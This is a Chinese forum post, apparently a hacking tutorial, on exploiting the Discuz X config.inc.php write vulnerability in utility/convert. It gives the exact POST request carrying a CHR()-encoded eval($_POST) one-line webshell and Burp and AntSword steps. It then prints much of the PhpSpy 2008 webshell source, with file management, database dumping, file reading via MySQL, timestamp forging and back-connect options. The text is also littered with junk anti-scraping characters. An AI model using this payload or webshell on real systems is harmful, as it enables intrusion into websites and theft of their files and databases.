找回密码
 立即注册
搜索
查看: 7738|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

986

主题

92

回帖

5万

积分

管理员

积分
55255
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:% y! I: c/ K+ }. c
想要拿下一台主机A的权限:
, u9 j7 r2 Z3 t0 a6 I& S) n2 w1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞/ @: y6 H  r9 C" `$ }/ X) m
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
' |7 @0 g7 J" j  ~3、传上去后,得到apache用户普通权限,再提权成root  {/ y$ g0 [# Z5 P4 Q, Z! ^
概述:
4 \1 r) p0 f& H' b这突破在一个DZ X系列自带的转换工具里面。. G1 G7 x! {0 I! H& E
漏洞路径:utility / convert / data / config.inc.php
# J* [5 ^. f+ ~2 I6 d1 Q9 [. i漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
7 S$ k3 W2 q: C触发突破过程:* x" k: O5 N( I3 I0 p$ [& o
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  " x/ J. L8 V* @+ I# f; h
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序, H/ W& a( b/ r/ }
攻击过程:6 @1 f9 J  x: N8 n* R6 Q
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/% H) k9 M! S# U/ S* v) H
) q! z6 r! ^5 y5 [
. T& X# h3 W  d' q; }! j/ R/ r
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马: F+ L, m6 P! {7 ?# G
7 D% ~  w+ \" q: I! i  S& `
8、通过中国蚁剑上传大码
* }/ m2 Y" ~3 G/ x; S$ Q4 o5 ?4 i$ h, o" n1 u
8 L4 r- ?0 W/ q. Z: [, k( z* S
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php( i7 W" A  Y. i

  2. 7 w' [1 o# e5 E
  3. /*****************************************************************************: R& Z) @, q% g4 z5 V' G$ x

  4. 1 p+ a* s$ e* u: J; q
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================3 J7 T7 {( r7 p! D% i
  6. $ N) M: a& g9 c0 K
  7. ====! L, K, F- n- p0 l
  8. : n8 H  T  C& H' g6 \% {
  9. 1 R8 U1 u9 D! H' r9 ]
  10. *****************************************************************************/
    + G- ?0 y! e, j" |0 q, b1 z' O

  11. 7 s: z3 y9 N& Y1 V; ?
  12. error_reporting(7);1 W! G. A( v( h. p
  13. @set_magic_quotes_runtime(0);
    1 w, O6 H8 M  p$ C3 k; b
  14. ob_start();
    ! |! x) G+ q/ \
  15. $mtime = explode(' ', microtime());
    ! Q. L7 v0 u- }: u. C8 ?1 b
  16. $starttime = $mtime[1] + $mtime[0];
    ) Y4 K& I2 F# H& R
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    * {, }! `$ ~' p
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );3 O& }$ S& A+ T3 T. X& t* G
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    7 ]4 ~3 G2 |; h9 }5 U! [9 l
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    ( J1 U' C; S! u& U9 I
  21. define('IS_GPC', get_magic_quotes_gpc());
    : A. Y; f( K3 I; K
  22. $dis_func = get_cfg_var('disable_functions');
    % N" I0 Q0 P/ ?4 _5 a3 T) K2 m
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    ) l( j% o4 K" m& u/ B. l
  24. @set_time_limit(0);8 |+ G( }1 E" ^: {; U; @5 r: [" h
  25. 5 c  Z7 R5 F, {/ U! M4 s
  26. foreach(array('_GET','_POST') as $_request) {7 C) j9 p, W5 g% z" e1 k- `. \
  27.         foreach($$_request as $_key => $_value) {
    3 t& O% a: R: I3 C. O5 Z& z0 T
  28.                 if ($_key{0} != '_') {
    1 u( ~' o) }& d: ?
  29.                         if (IS_GPC) {
    * z/ T; a- o, t: Q# M* w& @2 d( D6 w) ~
  30.                                 $_value = s_array($_value);+ \# Q' V+ F; e- g1 y! t2 l
  31.                         }: Z! \( e$ @3 D9 E
  32.                         $$_key = $_value;
    ( S  y2 w3 @/ O2 f1 ]7 y: F5 a# l" R
  33.                 }
    . I6 E2 S9 Z- U; [" {9 K
  34.         }
    4 s' J5 l/ U7 X! R2 G5 f
  35. }  G  j( Y/ G% `0 d
  36. * J# e* W8 \, a: J
  37. /*===================== 程序配置 =====================*/% Y& p+ f8 x1 k; T0 b  k& A: \% Z2 z! b
  38. $admin = array();
    ( `4 C: M7 N; |# Q4 X
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效- |' [/ R4 S' |+ N
  40. $admin['check'] = true;
    ( N/ q: p0 q: {& O- p
  41. // 如果需要密码验证,请修改登陆密码
    5 P: J5 o# w& e0 j
  42. $admin['pass']  = 'xuegod';
    ' S# e; \0 T  Y/ N
  43. / S  R" e+ R: M* s0 o
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认6 S2 P$ \* P+ m& A6 `+ S
  45. // cookie 前缀
    6 v% P7 |. H' w9 y0 @" @* d5 h
  46. $admin['cookiepre'] = '';' N+ m( C: d; j: E
  47. // cookie 作用域
    ) H3 n/ x9 a4 c* S, N
  48. $admin['cookiedomain'] = '';7 }  G2 n. f! o1 K
  49. // cookie 作用路径- j0 V8 e, G( @7 e: b& @
  50. $admin['cookiepath'] = '/';
    0 _0 \: H/ v6 m
  51. // cookie 有效期
    / k- {" Q9 L5 F8 ]
  52. $admin['cookielife'] = 86400;
      }9 n! ^9 h# [0 ]
  53. /*===================== 配置结束 =====================*/
      Z9 ~1 b+ Y5 R& G1 n
  54. & p3 p" I4 `# s1 r
  55. if ($charset == 'utf8') {
    ( s' c* s: b  k) d/ T/ Q% f" c0 |
  56.         header("content-Type: text/html; charset=utf-8");9 K& v! N" [7 l6 }3 Z: U
  57. } elseif ($charset == 'big5') {
    + [$ l3 l8 O8 z4 e& F0 p
  58.         header("content-Type: text/html; charset=big5");
    : W$ i" M& d9 ?- J; _+ L
  59. } elseif ($charset == 'gbk') {
    ' _1 u( U& |1 F( h9 S, `: u
  60.         header("content-Type: text/html; charset=gbk");, m6 P) R* l, R; e6 _% Q0 K
  61. } elseif ($charset == 'latin1') {
    ) _8 I+ i, |: d/ G% x5 H$ N  P, h
  62.         header("content-Type: text/html; charset=iso-8859-2");) {" U+ E; S2 R5 ^9 p
  63. }
    & J& p, i) z9 _& z

  64. 4 O' Z5 ?, {/ }% Y7 s% k6 }
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    - I0 o- v8 t! W5 E9 T5 Q6 S8 e
  66. $timestamp = time();' y/ f( l: N/ [) K) Y

  67. , p! w# \( p: l6 T" m
  68. /*===================== 身份验证 =====================*/
    ; B' C' M5 c" Z
  69. if ($action == "logout") {
    ! i6 H* U+ @; s$ Q
  70.         scookie('phpspypass', '', -86400 * 365);7 r" }3 @' ]8 |, I! k* i8 u4 P3 C
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');4 w# t" p3 O+ n/ g: o, O
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    * n! Z/ k+ Z8 n6 I- l3 F
  73.         exit;
    . C6 ^$ W2 M& {" Y$ [
  74. }* q% P, S9 Q# \* s4 [7 s4 W, A8 t
  75. if($admin['check']) {  c$ I. @+ i7 p9 E2 v' _+ Z1 J7 K
  76.         if ($doing == 'login') {
    ) o& J# A1 p5 n, M4 Y
  77.                 if ($admin['pass'] == $password) {
    + ]4 n! M8 s9 e" g. r
  78.                         scookie('phpspypass', $password);3 k7 O2 ~% E6 Q8 P+ a! m+ j, [& ^
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    8 H$ N! d- I9 H& Z
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    * B/ o- j/ w3 S! m
  81.                         exit;
    % }, y; e$ C3 u# C( M
  82.                 }
    & t# f+ O' \! L2 W6 j- S1 S; ]
  83.         }
    4 K, r3 x+ r! _0 A. a
  84.         if ($_COOKIE['phpspypass']) {8 V# b$ z% L5 q
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {# d- p7 r5 L4 s, i" W
  86.                         loginpage();& r9 C/ ]5 V5 a3 I+ p6 G
  87.                 }
    ; u: Z/ @% Z  F( _5 H
  88.         } else {& n' m: p" h% L6 g/ `, B& x
  89.                 loginpage();) |- r3 A5 X  w8 p
  90.         }4 a  u- C9 N6 J, L
  91. }
    ' E# f2 s+ F# Y& [. M4 h
  92. /*===================== 验证结束 =====================*/
    , V" Q: v  S$ k

  93. 2 h5 o2 G# `# a( X0 J: P0 [
  94. $errmsg = '';9 h0 [8 q( ^* R% A
  95. 4 `9 r, N3 b4 a, ]# x1 D" A
  96. // 查看PHPINFO
    8 `6 g  i% l. c0 q0 ~2 H7 n5 R
  97. if ($action == 'phpinfo') {
    % A: F& T& p1 l! `7 g5 X
  98.         if (IS_PHPINFO) {! m8 t7 c6 q+ a8 q2 I/ H
  99.                 phpinfo();( u) a; M7 p$ o1 P4 q
  100.         } else {
    6 D1 ^1 T, I# n7 C& V) n
  101.                 $errmsg = 'phpinfo() function has non-permissible';( l. I' }! w- y( K' ^2 G% r
  102.         }
    4 w+ I' p8 s/ H0 C
  103. }
    5 j0 E# ]* G7 |6 T, o

  104. & E$ i: t* x$ ^6 U1 k6 m
  105. // 下载文件
    - I+ K: ]5 ]0 r6 c, @4 R8 Q# \
  106. if ($doing == 'downfile' && $thefile) {
    0 o( \( b; [3 m+ i. F5 w
  107.         if (!@file_exists($thefile)) {' O1 m' N5 E; {- {
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';
    2 h* R2 O: C' Y; a# U
  109.         } else {
    , c% H, d# y9 ~* G
  110.                 $fileinfo = pathinfo($thefile);
    * a. R) p& D$ T, A2 O  l
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);9 Q) e& @3 M# ?) n& r: V& U* H
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    1 q/ _4 b7 Q$ N6 R. S
  113.                 header('Content-Length: '.filesize($thefile));
    " L0 r1 K- ^0 Q3 k3 a" i
  114.                 @readfile($thefile);+ Z, ?1 u/ V4 F2 N5 R
  115.                 exit;- b3 t) e$ k4 W
  116.         }
    & g8 `% w% k: F! n8 f. ?4 B
  117. }4 h8 c6 ]0 t) E+ [

  118. " D- k; O2 N9 T  Z7 ]. l
  119. // 直接下载备份数据库
    - [. ^9 k9 I; f( d
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    / Z3 k! U9 i0 h0 p7 ^+ J& F
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    & h( h' f  {! a2 w
  122.         $table = array_flip($table);6 G  q$ P2 T8 Q  S' P4 {
  123.         $result = q("SHOW tables");
    - g  ]5 p$ y( o" ]$ r
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    + V3 I2 B" o$ P  }
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    ( h1 D; a( U4 Z/ D
  126.         header('Content-type: application/unknown');
    7 |0 P& Y4 T; X2 a. h
  127.         header('Content-Disposition: attachment; filename='.$filename);
    1 g& x( G8 x0 Z. W6 E/ g9 C5 w# Q
  128.         $mysqldata = '';) \) c* z$ W- s2 K' G$ V
  129.         while ($currow = mysql_fetch_array($result)) {9 t* {6 |3 h8 v" t  ^
  130.                 if (isset($table[$currow[0]])) {8 _# K9 }# A" i9 E) s9 B5 `
  131.                         $mysqldata .= sqldumptable($currow[0]);1 z, q" |) x' D1 w' N- M3 H
  132.                 }
    ( y8 E" M. d: z. B# f/ K8 i
  133.         }
    8 @% b( W4 K: E* C. S  D
  134.         mysql_close();
    3 Q* J* a! S. A, z+ \
  135.         exit;
    3 {3 _2 u9 E( i0 E& d
  136. }8 y$ G1 o# d- e& D3 _6 y$ P
  137. ; A: E) Z; {/ y: _
  138. // 通过MYSQL下载文件
    $ {  w! y7 {* Y# L
  139. if($doing=='mysqldown'){
    5 ]* T5 h" q- c, j& N9 ?! i8 k
  140.         if (!$dbname) {8 o! B" p# n- q1 u
  141.                 $errmsg = 'Please input dbname';
    # U7 c; X* @: ?
  142.         } else {8 t; V8 Y6 E9 W) d1 z
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    " h3 z* }' ^6 X" E/ N
  144.                 if (!file_exists($mysqldlfile)) {, k: r& y1 z0 Q) q, d
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    4 z& a4 h3 V0 C6 |7 s
  146.                 } else {
    ' e; S# F+ V& Q  j/ H
  147.                         $result = q("select load_file('$mysqldlfile');");2 j/ f! m/ r' U
  148.                         if(!$result){
    # W: Z9 N- w4 m) s2 m% r
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    ! J3 j, ]& r' h4 t( c
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    " z- `3 v5 Y# o5 j
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况- g5 |: \* g) C% }) B  E, m
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    % i# p% Y' F5 X  k
  153.                                 $result = q("select content from tmp_angel");+ j9 P% F* k$ @( J7 A% }/ a
  154.                                 q("DROP TABLE tmp_angel");' D' |# @* s9 w% T6 X# _+ g% h
  155.                         }
    * B. j2 K3 f( l8 C& }$ U/ T# d% q
  156.                         $row = @mysql_fetch_array($result);; B6 b! c  N+ t) Z3 t' A: S' F. A
  157.                         if (!$row) {
    2 g% e3 g! i! j7 M& ~
  158.                                 $errmsg = 'Load file failed '.mysql_error();* E! z. e; _5 m: `
  159.                         } else {+ i  p' r/ P" }; v
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    , k7 a5 \9 e3 A, Z
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);7 p9 P' k& f! S4 q$ p; b
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    2 R( C9 f- D! X- W+ @
  163.                                 header("Accept-Length: ".strlen($row[0]));
    ( O4 ^8 Q& h8 n' y8 A
  164.                                 echo $row[0];4 ]$ b9 F$ H. T0 c
  165.                                 exit;
    5 \/ Z; s; ]% I* e- A3 l5 ?  N
  166.                         }
    0 u2 i$ t1 |' g4 c6 U8 ?( x
  167.                 }
    0 r& I3 a1 A4 v0 f
  168.         }
    # y" ^! U2 V$ w- P
  169. }5 @( j6 W! M" y0 F  e
  170. 3 }$ Q& ]) e, |3 q+ {
  171. ?>
    8 ^7 m- D/ S1 F( o, D
  172. <html>
    2 W3 E9 ?! h" F9 X+ }" P
  173. <head>, W% b' s9 c6 Z) H1 \* r
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">/ e  i! b2 h! `2 f
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
    ( v" M& g& S- U7 d7 ?/ ~3 k
  176. <style type="text/css">: m) C- }3 s* X- Y
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}* C3 |/ a( M* M; Z8 E8 B
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
    6 a$ N$ {+ n. Y' d- C1 W) ]) W6 z1 t
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    - |. d+ e% ?; {# d2 C3 |
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}7 O+ a0 q; `2 f. k3 T  F; b8 [
  181. a {color: #00f;text-decoration:underline;}1 F+ Y/ A! \- ~% n' Y
  182. a:hover{color: #f00;text-decoration:none;}
      o4 b& H/ s% r+ S6 ?
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}) a# Z: ^5 D: e+ m! {" z& Q8 R
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    7 P* \4 D  K1 P# X
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}* {' y# F. z. S  `: P4 R
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    . [: K* Y! C' H
  187. .head td span{font-weight:normal;}
    , B9 y3 [  `; q: v8 e9 P4 ~) ^4 O
  188. form{margin:0;padding:0;}
    9 ]+ e: l6 U' u5 h
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
    ( a  f( n2 A. v2 v8 k) }9 Y' S
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}1 M* e  S/ Y/ e$ f
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}& S& I; H' \$ s8 ^" |. C
  192. </style>1 L# M, H% r, V( Z% A8 P
  193. <script type="text/javascript">
    6 x$ S" e3 Y# ~1 m
  194. function CheckAll(form) {
    ) b: ^1 o6 r3 w- s! L
  195.         for(var i=0;i<form.elements.length;i++) {
    ; A. c) x! R/ x- x0 Z% B/ R8 A
  196.                 var e = form.elements[i];3 B4 z% r& `* R( C0 {4 T
  197.                 if (e.name != 'chkall')6 O! y! J% \. K& K" u4 A
  198.                 e.checked = form.chkall.checked;
    ) {  z+ @# r$ g+ w/ B, c+ B" H
  199.     }1 K+ M# g! ^2 t1 {
  200. }
    - [0 y6 T/ `3 ~( G# J* l7 L2 e
  201. function $(id) {9 Z3 c+ J% k+ b/ J: l
  202.         return document.getElementById(id);& A+ q! }- P, D5 }1 K4 _
  203. }0 f4 u! F/ D# {1 I
  204. function goaction(act){0 H* {# s& p& q6 ]9 h& J
  205.         $('goaction').action.value=act;" q" s0 Z5 P6 E6 \- f
  206.         $('goaction').submit();2 b  D* C+ _( B0 {2 l+ C* s
  207. }
    $ h7 L! x5 W+ ~$ q7 f
  208. </script>
    # `" y  o. R5 i0 v' D
  209. </head>
    5 z. g( r# j" n* f2 ~( r
  210. <body style="margin:0;table-layout:fixed; word-break:break-all"># r  x: ]% z8 X1 W7 _2 N/ f3 }
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">; j3 @2 Y- M$ c9 \
  212.         <tr class="head">
    ; N* @' X  _4 X( L" q; O
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
    ( D6 K) @6 l+ d; z
  214.         </tr>6 ]/ r) M' x( I1 k; _% U
  215.         <tr class="alt1">
    ' y' R- u$ n% J5 W
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>! Z1 O8 ^) W1 A, \' V
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    6 ^: D9 H6 L2 D& O5 T
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    2 K& c2 [7 W1 F& E: z
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    2 y6 U: J9 a( i
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    1 Q7 m" i- f" [- {# _4 |
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |   L) _! ]: d6 p: @' O+ F
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    ) x1 n$ y( l+ u* b; V+ I
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
    # A0 k4 F0 r5 V' D6 Z( u% R2 J
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    0 p1 g3 w1 t4 K3 C( ]  q9 _
  225.                 </td>; Q4 U* w. A, X5 X
  226.         </tr>
    4 N  L% v7 z; F( L5 D$ }5 w
  227. </table>6 h* {! c6 \+ u* e. Y1 B9 p
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td># O3 H, Z  ^7 X# j7 ~3 ~1 \
  229. <?php
      y! E1 C" s8 Z( w0 [
  230. ; ]  I4 @# s5 J' M5 J7 n) e& a, y
  231. formhead(array('name'=>'goaction'));
    & o  Q2 \& Q1 i; \% H$ N
  232. makehide('action');9 Y3 v1 {! E3 |; P/ D) _7 N7 a
  233. formfoot();( r: |! P8 j) b, m9 G' c
  234. / p3 Q& w6 D1 \+ [
  235. $errmsg && m($errmsg);
    , K& Y/ S4 r; }0 n) K* U

  236. . Y7 I. a. k0 h3 n6 ?6 a9 m) k, B
  237. // 获取当前路径
    ; e2 E& k( D2 I, h) r
  238. !$dir && $dir = '.';
    0 @/ L6 X: k6 p8 g' n6 J( _  r; `9 z
  239. $nowpath = getPath(SA_ROOT, $dir);
    ) a3 h" `- I6 }/ N, m
  240. if (substr($dir, -1) != '/') {; p9 O) y' e+ \* x: H
  241.         $dir = $dir.'/';
    # X6 u2 }' q0 H) N4 ~( }% N
  242. }9 |+ n- d; }- k1 n# G/ d1 ?
  243. $uedir = ue($dir);
    ' b/ q# x( P: [4 G
  244. # K- P( e' |, h7 l9 C; h
  245. if (!$action || $action == 'file') {& I4 O4 ^1 u4 w4 L9 B
  246.   U0 V: ]8 L, a1 n5 \! M& N
  247.         // 判断读写情况6 x7 M( I$ k4 @) G' U4 S! X6 [% H
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';& q. |' f& A  e# D3 N) y
  249. " A& H; F3 d! ?! s7 e
  250.         // 删除目录1 {- l+ s/ e. s/ a
  251.         if ($doing == 'deldir' && $thefile) {% }* ~" a: H% N% N: ^) b
  252.                 if (!file_exists($thefile)) {
    ( ~: K4 N" X( z% J( V+ O
  253.                         m($thefile.' directory does not exist');
    9 ]1 {" @/ Q7 w
  254.                 } else {
    " x9 j5 }; h3 c; ]" _+ A, `
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));* T5 s; G" g0 s! ]- m, @7 h9 a
  256.                 }
    ( k( O$ H( y, G; |0 N& N
  257.         }( H7 `  A& r# y; A7 ^8 I! X

  258. $ H# t! h& R' e4 L- ?5 K
  259.         // 创建目录4 P8 B3 e8 H. [. \% y" }
  260.         elseif ($newdirname) {
    9 l- T, w$ W2 H9 j, m
  261.                 $mkdirs = $nowpath.$newdirname;
    / q! Q' v# v4 }9 J9 J/ O
  262.                 if (file_exists($mkdirs)) {
    5 b6 T2 h2 A, |' J
  263.                         m('Directory has already existed');
    + }' _4 y# g$ @, Y. g4 K
  264.                 } else {
    . o" M) |7 |- @
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));  w5 G1 c3 o) X
  266.                         @chmod($mkdirs,0777);% t5 j6 ^  N3 v  T$ k% h2 s' T' W: p  O
  267.                 }
    , R7 {8 m- X6 F4 N7 G
  268.         }! F$ E/ n% [# ~/ a
  269. ; T& d: v9 b" O: a$ e' i4 A0 w
  270.         // 上传文件
    ' Y! U5 h% y0 j4 f
  271.         elseif ($doupfile) {" h9 ^; q2 V# q1 k$ v
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));8 O; k4 q0 z" @
  273.         }
    # C, r3 R" T( J2 B( q/ V: x

  274. & [$ S8 F# y! P/ Y, u' M
  275.         // 编辑文件
    ! O2 w  f. Q! h# q) {% b
  276.         elseif ($editfilename && $filecontent) {2 t. R2 A: x" a/ a+ }6 B
  277.                 $fp = @fopen($editfilename,'w');$ b9 q. H2 m& q9 T1 l$ I# X
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));/ P6 t: [& B/ h7 M0 `) L
  279.                 @fclose($fp);. d  ~4 f% Z" h7 q" U7 j$ _
  280.         }1 J; h! ?7 g3 W0 Y" T" Z
  281. # Q! a6 W9 L6 b0 H6 [% J. q6 T* t
  282.         // 编辑文件属性
    3 M2 g6 R  n6 S2 J7 j) F
  283.         elseif ($pfile && $newperm) {
    # u  Y7 S7 l$ q
  284.                 if (!file_exists($pfile)) {
    , H- \4 b( x: r6 h. m8 z
  285.                         m('The original file does not exist');
    1 g- ?9 R" q5 g
  286.                 } else {
    9 m& @, a9 M/ R# y  Q! B
  287.                         $newperm = base_convert($newperm,8,10);- z) l* P3 N! u: U
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    1 ~- w! v1 m! _$ @
  289.                 }
    ' B9 t! l2 [4 Q) G4 w( x% ?" w
  290.         }& m% l: R# Y4 o# z) \+ i
  291. 4 x) }, a  w" x3 z! z3 u( s5 c' [/ \
  292.         // 改名, \) z7 H: A4 i0 K4 i, U& ^
  293.         elseif ($oldname && $newfilename) {
    $ r, d* l0 `# J% g# X
  294.                 $nname = $nowpath.$newfilename;0 g; P+ Y& d8 i$ u# Z% r
  295.                 if (file_exists($nname) || !file_exists($oldname)) {  `9 E1 k, E1 m% V$ Y
  296.                         m($nname.' has already existed or original file does not exist');
    + O# k3 {0 B& t
  297.                 } else {  y4 b6 A% M2 m
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    0 o  D: Z3 T7 ^7 _( s6 n
  299.                 }7 x- o% T/ N2 }& ~+ G: Q& l- o
  300.         }
    : l$ d% s5 J- h; j$ D4 [( g

  301. : h# E$ @  }1 Y. m2 }& F
  302.         // 复制文件2 e( _) @3 S5 _$ w  j
  303.         elseif ($sname && $tofile) {
    : m9 |8 q% m) }8 W$ U+ f0 J, i% N
  304.                 if (file_exists($tofile) || !file_exists($sname)) {, y4 Z! J9 j0 F! f
  305.                         m('The goal file has already existed or original file does not exist');
    & a4 l6 {) O" e9 M! p0 t* f8 R: B
  306.                 } else {9 D0 ]+ |4 ], b5 v* |9 a/ {
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    7 K" H$ t  w- D) T
  308.                 }5 y! @: ]8 I; f: V4 z) z
  309.         }
    0 Z  U% S1 O  L0 B3 x# T% ^- G
  310. : D! Z% M4 d$ S; {2 Z
  311.         // 克隆时间
    . d& L! f7 {, h) N/ t  d8 Y
  312.         elseif ($curfile && $tarfile) {
    1 `& {1 G! F* H3 m" J' z# y- Q
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    6 D: T) J4 [2 c5 {( H3 z9 u& f
  314.                         m('The goal file has already existed or original file does not exist');! f- }$ [4 B5 L9 A2 r0 W& H
  315.                 } else {4 F3 @9 p2 \1 x6 H
  316.                         $time = @filemtime($tarfile);0 q8 ~6 c5 W3 V. n( I% `
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    7 d) v+ d: h$ E
  318.                 }
    / n4 c2 W+ l  ?: v  M
  319.         }9 J+ L% n% W+ r
  320. . D' e1 V* u& _" A# w+ h# T
  321.         // 自定义时间' p) G3 o- m9 [
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {! q2 s# x9 w; |' W( k" y, ?; A! Y
  323.                 if (!@file_exists($curfile)) {& g# H9 ]( K4 X( [$ l' {# f( A
  324.                         m(basename($curfile).' does not exist');
    7 k. G1 X0 N9 A0 W6 I: Z' j4 d2 w0 E
  325.                 } else {+ D- @8 y1 I0 R/ E
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    ( _/ R$ C8 u/ h8 c& c
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));! {0 t: ]' c6 v1 |# g  {( j* y: }
  328.                 }
    ' y( V- f+ }9 E8 a: z: f6 b
  329.         }
